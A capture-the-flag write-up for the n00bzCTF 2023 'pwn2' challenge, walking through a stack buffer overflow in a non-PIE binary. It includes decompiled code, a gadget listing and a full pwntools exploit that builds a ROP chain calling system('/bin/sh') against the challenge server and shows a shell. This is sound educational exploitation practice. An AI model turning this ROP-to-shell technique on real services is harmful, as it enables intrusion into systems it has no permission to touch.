Pwn2

by sunbather / .hidden

Tags: pwntools gef pwn rop

Rating:

Description of the challenge

There is no win function this time!

Author: NoobMaster

Solution

Running checksec on the binary, we notice the lack of canary and PIE.

```
$ checksec pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY
Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   42 Symbols    N
o    0       1       pwn2
```

When we open the binary in Ghidra, we are greeted with the following main function:

```
void main(EVP_PKEY_CTX *param_1)
{
  char local_28 [32];

  init(param_1);
  puts("Would you like a flag?");
  fgets(input,0x19,stdin);
  puts("Wrong Answer! I\'ll give you another chance!\n");
  puts("Would you like a flag?");
  fgets(local_28,0x60,stdin);
  system("cat fake_flag.txt");
  return;
}
```

We notice the global variable `input` and local variable `local_28`. The input is passed to two different variables. Again a buffer overflow on `local_28`, but this time with no win function, like the descriptions says.

The idea would be maybe to write `/bin/sh` in the data section, through the `input` variable, and then use it in a ROP chain to call `system`, which is imported in the binary already.

So let's ROP it.

```
$ ROPgadget --binary pwn2 | grep ret
0x000000000040110b : add bh, bh ; loopne 0x401175 ; nop ; ret
0x0000000000401228 : add byte ptr [rax - 0x77], cl ; ret 0x19be
0x00000000004010dc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
```

```
0x000000000040117a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010de : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040110a : add dil, dil ; loopne 0x401175 ; nop ; ret
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004010e3 : cli ; ret
0x000000000040128b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010e0 : endbr64 ; ret
0x0000000000401286 : leave ; ret
0x000000000040110d : loopne 0x401175 ; nop ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401285 : nop ; leave ; ret
0x00000000004011fa : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x0000000000401178 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx
; nop ; ret
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x000000000040101a : ret
0x000000000040122b : ret 0x19be
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040128d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040128c : sub rsp, 8 ; add rsp, 8 ; ret
```

We find a `pop rdi ; ret` which is essential for passing `/bin/sh` to system. So the full exploit is simply:

```
#!/usr/bin/env python3

from pwn import *

target = remote("challs.n00bzunit3d.xyz", 61223)
#target = process("./pwn2")

target.sendline(b"/bin/sh\x00") # send /bin/sh for first input

sys_addr = p64(0x00401080) # system address
pop_rdi_gadget = p64(0x0000000000401196) # pop rdi ; ret address
ret_gadget = p64(0x000000000040101a) # ret gadget - stack needs to be 16-bytes aligned for system()
sh_addr = p64(0x00404090) # /bin/sh address (the global input variable's address)

payload = b"a" * 0x28 + ret_gadget + pop_rdi_gadget + sh_addr + sys_addr

#gdb.attach(target)
target.sendline(payload)
target.interactive()
```

Notice the `ret` gadget, used as a `NOP` to align the stack to 16 bytes, which is a necessary precondition to calling `system()`. Failing to do so will result in a segmentation fault.

We run the exploit:

```
$ ./solve.py
[+] Starting local process './pwn2': pid 25704
[*] Switching to interactive mode
Would you like a flag?
Wrong Answer! I'll give you another chance!

Would you like a flag?
n00bz{f4k3_fl4g}
```

```
$ whoami
sunbather
```

Easy shells.

Original writeup (https://dothidden.xyz/n00bzctf_2023/pwn2/).

Comments